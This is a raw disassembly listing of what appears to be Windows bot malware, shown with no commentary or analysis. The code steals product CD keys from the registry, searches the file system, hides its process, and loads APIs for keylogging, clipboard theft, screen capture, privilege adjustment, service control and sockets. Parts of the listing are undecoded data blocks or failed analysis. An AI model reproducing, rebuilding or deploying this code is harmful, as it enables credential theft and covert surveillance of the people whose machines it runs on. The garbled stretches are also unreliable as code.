		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0D238h, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 3ED46850h, 0D6E80042h, 6800002Eh, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 0CE5EE85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
		dd 5815FF36h, 0FF0042F7h, 0A015FF36h, 0FF0042F7h, 7EE80875h
		dd 590000CBh, 9802E853h, 6AF80066h, 0E8458D10h,	25E85053h
		dd 660000CEh, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 8815FFECh
		dd 8B0042F7h, 0FFFF83F8h, 15FF5D75h, 42F69Ch, 3E846850h
		dd 3EE80042h, 6800002Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 0CDC6E85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 5815FF36h, 0FF0042F7h, 0A015FF36h
		dd 0FF0042F7h, 0E6E80875h, 590000CAh, 976AE853h, 8D910066h
		dd 106AE845h, 15FF5750h, 42F6B0h, 75FFF883h, 9C15FF5Dh
		dd 500042F6h, 423E3068h, 2DCFE800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 0CD57E8h, 14C48300h,	0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0F75815FFh, 36FF0042h, 0F7A015FFh, 75FF0042h, 0CA77E808h
		dd 53590000h, 6696FBE8h, 686500h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	0CD0BE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0F75815FFh
		dd 36FF0042h, 39E857h, 59590000h, 0A015FF57h, 0FF0042F7h
		dd 0A015FF36h, 0FF0042F7h, 1AE80875h, 590000CAh, 969EE853h
		dd 0FF5F0066h, 0A015FF36h, 0FF0042F7h, 2E80875h, 590000CAh
		dd 9686E853h
		db 66h,	0, 76h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_406991:				; CODE XREF: seg000:00406A40j
					; seg000:00406A70j
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4069A9:				; CODE XREF: seg000:004069B7j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4069B9
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4069A9


loc_4069B9:				; CODE XREF: seg000:004069AEj
		cmp	ecx, 1
		jnz	short loc_4069CE
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4069CE:				; CODE XREF: seg000:004069BCj
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	ds:dword_42F6F0
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	ds:dword_42F600
		test	eax, eax
		jz	short loc_406A2E
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_42F720
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406A76
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_42F758
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406A76


loc_406A2E:				; CODE XREF: seg000:00406A00j
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_42F600
		test	eax, eax
		jz	loc_406991
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_42F720
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406A76
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	ds:dword_42F758
		cmp	eax, 0FFFFFFFFh
		jnz	loc_406991


loc_406A76:				; CODE XREF: seg000:00406A15j
					; seg000:00406A2Cj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A7B	proc near		; CODE XREF: seg000:0041060Fp

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	ds:off_423F2C, ebx
		mov	[ebp+var_C], 80h
		jz	loc_406C2D
		push	esi
		push	edi
		mov	eax, offset off_423F2C
		mov	esi, offset dword_423F38
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_406AAB:				; CODE XREF: sub_406A7B+1AAj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	ds:dword_42F778
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	ds:dword_42F614
		test	eax, eax
		jnz	loc_406C13
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_406BD7
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4135AD
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_413CA8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_406C13
		push	eax


loc_406B24:				; CODE XREF: sub_406A7B+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_4151CC
		add	esp, 0Ch
		test	eax, eax
		jz	loc_406BCC
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_413B80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406B51
		push	[ebp+var_8]
		jmp	short loc_406B24
; ---------------------------------------------------------------------------


loc_406B51:				; CODE XREF: sub_406A7B+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_415110
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406B90
		lea	eax, [ebp+var_70]
		push	offset asc_425130 ; "="
		push	eax
		call	sub_414D28
		push	offset asc_425130 ; "="
		push	ebx
		call	sub_414D28
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4135AD
		add	esp, 20h
		jmp	short loc_406BA7
; ---------------------------------------------------------------------------


loc_406B90:				; CODE XREF: sub_406A7B+E4j
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4135AD
		add	esp, 10h


loc_406BA7:				; CODE XREF: sub_406A7B+113j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_409615
		add	esp, 18h


loc_406BCC:				; CODE XREF: sub_406A7B+B9j
		push	[ebp+var_8]
		call	sub_413C00
		pop	ecx
		jmp	short loc_406C13
; ---------------------------------------------------------------------------


loc_406BD7:				; CODE XREF: sub_406A7B+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_409615
		add	esp, 28h


loc_406C13:				; CODE XREF: sub_406A7B+60j
					; sub_406A7B+A2j ...
		push	[ebp+var_4]
		call	ds:dword_42F6E4
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_406AAB
		pop	edi
		pop	esi


loc_406C2D:				; CODE XREF: sub_406A7B+19j
		pop	ebx
		leave
		retn
sub_406A7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C30	proc near		; DATA XREF: seg000:0040EF7Co

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_413DB0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_406C85
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_413DB0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_406C85:				; CODE XREF: sub_406C30+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_425188
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_413B2A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CCA
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_4110B0
		add	esp, 14h


loc_406CCA:				; CODE XREF: sub_406C30+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	near ptr loc_406D44+4
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_425154
		push	eax
		call	sub_4135AD
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_406D28
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_4110B0
		add	esp, 14h


loc_406D28:				; CODE XREF: sub_406C30+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_409615
		push	[ebp+var_10]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h


loc_406D44:				; CODE XREF: sub_406C30+B9p
					; seg000:00406DE6p
		test	eax, 555B5E5Fh
sub_406C30	endp ; sp-analysis failed

		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-248h]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_413B2A
		mov	edi, ds:dword_41F090
		add	esp, 10h
		lea	eax, [ebp-144h]
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		call	edi ; dword_41F090
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_406E05


loc_406D94:				; CODE XREF: seg000:00406E03j
		test	byte ptr [ebp-144h], 10h
		jz	short loc_406DF1
		cmp	byte ptr [ebp-118h], 2Eh
		jnz	short loc_406DB8
		cmp	byte ptr [ebp-117h], 0
		jz	short loc_406DF1
		cmp	byte ptr [ebp-117h], 2Eh
		jz	short loc_406DF1


loc_406DB8:				; CODE XREF: seg000:00406DA4j
		lea	eax, [ebp-118h]
		push	eax
		lea	eax, [ebp-34Ch]
		push	dword ptr [ebp+18h]
		push	ebx
		push	esi
		push	eax
		call	sub_413B2A
		push	dword ptr [ebp+1Ch]
		lea	eax, [ebp-34Ch]
		push	eax
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr loc_406D44+4
		add	esp, 2Ch
		mov	[ebp+1Ch], eax


loc_406DF1:				; CODE XREF: seg000:00406D9Bj
					; seg000:00406DADj ...
		lea	eax, [ebp-144h]
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_41F08C	; FindNextFileA
		test	eax, eax
		jnz	short loc_406D94


loc_406E05:				; CODE XREF: seg000:00406D92j
		push	dword ptr [ebp-4]
		call	near ptr 0A70000h
; ---------------------------------------------------------------------------
		db 0Fh,	0FFh, 75h
		dd 0B8858D14h, 0FFFFFFFDh, 56531875h, 0CD08E850h, 0C4830000h
		dd 0BC858D14h, 50FFFFFEh, 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h
		dd 4F74FFFEh
; ---------------------------------------------------------------------------


loc_406E3C:				; CODE XREF: seg000:00406E89j
		lea	eax, [ebp-118h]
		inc	dword ptr [ebp+1Ch]
		push	eax
		lea	eax, [ebp-54Ch]
		push	dword ptr [ebp+18h]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_413B2A
		push	1
		lea	eax, [ebp-54Ch]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4110B0
		add	esp, 28h
		lea	eax, [ebp-144h]
		push	eax
		push	esi
		call	ds:dword_41F08C	; FindNextFileA
		test	eax, eax
		jnz	short loc_406E3C
		push	esi
; ---------------------------------------------------------------------------
		dd 66916FE8h, 458B8A00h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_406E9A	proc near		; CODE XREF: seg000:0040AB68p
		push	ebx
		push	ebp
		mov	ebp, ds:dword_41F0B4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp ; dword_41F0B4
		mov	esi, ds:dword_41F0B0
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_406FBA
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	ds:dword_42F7B4, eax
		call	esi ; dword_41F0B0
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	ds:dword_42F728, eax
		call	esi ; dword_41F0B0
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	ds:dword_42F70C, eax
		call	esi ; dword_41F0B0
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	ds:dword_42F628, eax
		call	esi ; dword_41F0B0
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	ds:dword_42F5D4, eax
		call	esi ; dword_41F0B0
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	ds:dword_42F604, eax
		call	esi ; dword_41F0B0
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	ds:dword_42F678, eax
		call	esi ; dword_41F0B0
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	ds:dword_42F768, eax
		call	esi ; dword_41F0B0
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	ds:dword_42F7C4, eax
		call	esi ; dword_41F0B0
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	ds:dword_42F634, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F7B4, ebx
		mov	ds:dword_42F61C, eax
		jz	short loc_406F98
		cmp	ds:dword_42F728, ebx
		jz	short loc_406F98
		cmp	ds:dword_42F70C, ebx
		jz	short loc_406F98
		cmp	ds:dword_42F628, ebx
		jz	short loc_406F98
		cmp	ds:dword_42F604, ebx
		jz	short loc_406F98
		cmp	ds:dword_42F678, ebx
		jz	short loc_406F98
		cmp	ds:dword_42F768, ebx
		jz	short loc_406F98
		cmp	ds:dword_42F7C4, ebx
		jz	short loc_406F98
		cmp	ds:dword_42F634, ebx
		jz	short loc_406F98
		cmp	eax, ebx
		jnz	short loc_406FA2


loc_406F98:				; CODE XREF: sub_406E9A+B8j
					; sub_406E9A+C0j ...
		mov	ds:dword_42F7C8, 1


loc_406FA2:				; CODE XREF: sub_406E9A+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi ; dword_41F0B0
		cmp	eax, ebx
		mov	ds:dword_42F740, eax
		jz	short loc_406FCF
		push	1
		push	ebx
		call	eax
		jmp	short loc_406FCF
; ---------------------------------------------------------------------------


loc_406FBA:				; CODE XREF: sub_406E9A+1Dj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_42F7CC, eax
		mov	ds:dword_42F7C8, 1


loc_406FCF:				; CODE XREF: sub_406E9A+117j
					; sub_406E9A+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_41F0AC	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4070E4
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	ds:dword_42F764, eax
		call	esi ; dword_41F0B0
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	ds:dword_42F714, eax
		call	esi ; dword_41F0B0
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	ds:dword_42F6A8, eax
		call	esi ; dword_41F0B0
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	ds:dword_42F7B8, eax
		call	esi ; dword_41F0B0
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	ds:dword_42F6D8, eax
		call	esi ; dword_41F0B0
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	ds:dword_42F6F8, eax
		call	esi ; dword_41F0B0
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	ds:dword_42F75C, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F764, ebx
		mov	ds:dword_42F650, eax
		jz	short loc_407088
		cmp	ds:dword_42F714, ebx
		jz	short loc_407088
		cmp	ds:dword_42F6A8, ebx
		jz	short loc_407088
		cmp	ds:dword_42F7B8, ebx
		jz	short loc_407088
		cmp	ds:dword_42F6D8, ebx
		jz	short loc_407088
		cmp	ds:dword_42F6F8, ebx
		jz	short loc_407088
		cmp	ds:dword_42F75C, ebx
		jz	short loc_407088
		cmp	eax, ebx
		jnz	short loc_407092


loc_407088:				; CODE XREF: sub_406E9A+1B8j
					; sub_406E9A+1C0j ...
		mov	ds:dword_42F7D0, 1


loc_407092:				; CODE XREF: sub_406E9A+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	ds:dword_42F6D4, eax
		call	esi ; dword_41F0B0
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	ds:dword_42F5E8, eax
		call	esi ; dword_41F0B0
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	ds:dword_42F6A4, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F6D4, ebx
		mov	ds:dword_42F690, eax
		jz	short loc_4070EF
		cmp	ds:dword_42F5E8, ebx
		jz	short loc_4070EF
		cmp	ds:dword_42F6A4, ebx
		jz	short loc_4070EF
		cmp	eax, ebx
		jnz	short loc_4070F9
		jmp	short loc_4070EF
; ---------------------------------------------------------------------------


loc_4070E4:				; CODE XREF: sub_406E9A+144j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_42F7D4, eax


loc_4070EF:				; CODE XREF: sub_406E9A+232j
					; sub_406E9A+23Aj ...
		mov	ds:dword_42F7D0, 1


loc_4070F9:				; CODE XREF: sub_406E9A+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp ; dword_41F0B4
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407294
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	ds:dword_42F778, eax
		call	esi ; dword_41F0B0
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	ds:dword_42F6BC, eax
		call	esi ; dword_41F0B0
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	ds:dword_42F72C, eax
		call	esi ; dword_41F0B0
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	ds:dword_42F614, eax
		call	esi ; dword_41F0B0
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	ds:dword_42F674, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F778, ebx
		mov	ds:dword_42F6E4, eax
		jz	short loc_407184
		cmp	ds:dword_42F6BC, ebx
		jz	short loc_407184
		cmp	ds:dword_42F72C, ebx
		jz	short loc_407184
		cmp	ds:dword_42F614, ebx
		jz	short loc_407184
		cmp	ds:dword_42F674, ebx
		jz	short loc_407184
		cmp	eax, ebx
		jnz	short loc_40718E


loc_407184:				; CODE XREF: sub_406E9A+2C4j
					; sub_406E9A+2CCj ...
		mov	ds:dword_42F7D8, 1


loc_40718E:				; CODE XREF: sub_406E9A+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	ds:dword_42F6EC, eax
		call	esi ; dword_41F0B0
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	ds:dword_42F6C4, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F6EC, ebx
		mov	ds:dword_42F774, eax
		jz	short loc_4071C9
		cmp	ds:dword_42F6C4, ebx
		jz	short loc_4071C9
		cmp	eax, ebx
		jnz	short loc_4071D3


loc_4071C9:				; CODE XREF: sub_406E9A+321j
					; sub_406E9A+329j
		mov	ds:dword_42F7D8, 1


loc_4071D3:				; CODE XREF: sub_406E9A+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	ds:dword_42F6FC, eax
		call	esi ; dword_41F0B0
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	ds:dword_42F5F0, eax
		call	esi ; dword_41F0B0
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	ds:dword_42F5F8, eax
		call	esi ; dword_41F0B0
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	ds:dword_42F658, eax
		call	esi ; dword_41F0B0
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	ds:dword_42F65C, eax
		call	esi ; dword_41F0B0
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	ds:dword_42F60C, eax
		call	esi ; dword_41F0B0
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	ds:dword_42F6C8, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F6FC, ebx
		mov	ds:dword_42F5FC, eax
		jz	short loc_407277
		cmp	ds:dword_42F5F0, ebx
		jz	short loc_407277
		cmp	ds:dword_42F5F8, ebx
		jz	short loc_407277
		cmp	ds:dword_42F658, ebx
		jz	short loc_407277
		cmp	ds:dword_42F65C, ebx
		jz	short loc_407277
		cmp	ds:dword_42F60C, ebx
		jz	short loc_407277
		cmp	ds:dword_42F6C8, ebx
		jz	short loc_407277
		cmp	eax, ebx
		jnz	short loc_407281


loc_407277:				; CODE XREF: sub_406E9A+3A7j
					; sub_406E9A+3AFj ...
		mov	ds:dword_42F7D8, 1


loc_407281:				; CODE XREF: sub_406E9A+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi ; dword_41F0B0
		cmp	eax, ebx
		mov	ds:dword_42F5F4, eax
		jnz	short loc_4072A9
		jmp	short loc_40729F
; ---------------------------------------------------------------------------


loc_407294:				; CODE XREF: sub_406E9A+26Aj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_42F7DC, eax


loc_40729F:				; CODE XREF: sub_406E9A+3F8j
		mov	ds:dword_42F7D8, 1


loc_4072A9:				; CODE XREF: sub_406E9A+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp ; dword_41F0B4
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407375
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	ds:dword_42F6F4, eax
		call	esi ; dword_41F0B0
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	ds:dword_42F74C, eax
		call	esi ; dword_41F0B0
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	ds:dword_42F754, eax
		call	esi ; dword_41F0B0
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	ds:dword_42F710, eax
		call	esi ; dword_41F0B0
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	ds:dword_42F638, eax
		call	esi ; dword_41F0B0
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	ds:dword_42F5E4, eax
		call	esi ; dword_41F0B0
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	ds:dword_42F750, eax
		call	esi ; dword_41F0B0
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	ds:dword_42F5D0, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F6F4, ebx
		mov	ds:dword_42F66C, eax
		jz	short loc_407380
		cmp	ds:dword_42F74C, ebx
		jz	short loc_407380
		cmp	ds:dword_42F754, ebx
		jz	short loc_407380
		cmp	ds:dword_42F710, ebx
		jz	short loc_407380
		cmp	ds:dword_42F638, ebx
		jz	short loc_407380
		cmp	ds:dword_42F5E4, ebx
		jz	short loc_407380
		cmp	ds:dword_42F750, ebx
		jz	short loc_407380
		cmp	ds:dword_42F5D0, ebx
		jz	short loc_407380
		cmp	eax, ebx
		jnz	short loc_40738A
		jmp	short loc_407380
; ---------------------------------------------------------------------------


loc_407375:				; CODE XREF: sub_406E9A+41Aj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_42F7E4, eax


loc_407380:				; CODE XREF: sub_406E9A+49Bj
					; sub_406E9A+4A3j ...
		mov	ds:dword_42F7E0, 1


loc_40738A:				; CODE XREF: sub_406E9A+4D7j
		mov	ebp, ds:dword_41F0AC
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp ; dword_41F0AC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407646
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	ds:dword_42F680, eax
		call	esi ; dword_41F0B0
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	ds:dword_42F7AC, eax
		call	esi ; dword_41F0B0
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	ds:dword_42F624, eax
		call	esi ; dword_41F0B0
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	ds:dword_42F600, eax
		call	esi ; dword_41F0B0
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	ds:dword_42F6B4, eax
		call	esi ; dword_41F0B0
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	ds:dword_42F69C, eax
		call	esi ; dword_41F0B0
		push	offset aSocket	; "socket"
		push	edi
		mov	ds:dword_42F668, eax
		call	esi ; dword_41F0B0
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	ds:dword_42F788, eax
		call	esi ; dword_41F0B0
		push	offset aConnect	; "connect"
		push	edi
		mov	ds:dword_42F7A4, eax
		call	esi ; dword_41F0B0
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	ds:dword_42F6B0, eax
		call	esi ; dword_41F0B0
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	ds:dword_42F794, eax
		call	esi ; dword_41F0B0
		push	offset aHtons	; "htons"
		push	edi
		mov	ds:dword_42F748, eax
		call	esi ; dword_41F0B0
		push	offset aHtonl	; "htonl"
		push	edi
		mov	ds:dword_42F708, eax
		call	esi ; dword_41F0B0
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	ds:dword_42F704, eax
		call	esi ; dword_41F0B0
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	ds:dword_42F644, eax
		call	esi ; dword_41F0B0
		push	offset aSend	; "send"
		push	edi
		mov	ds:dword_42F63C, eax
		call	esi ; dword_41F0B0
		push	offset aSendto	; "sendto"
		push	edi
		mov	ds:dword_42F758, eax
		call	esi ; dword_41F0B0
		push	offset aRecv	; "recv"
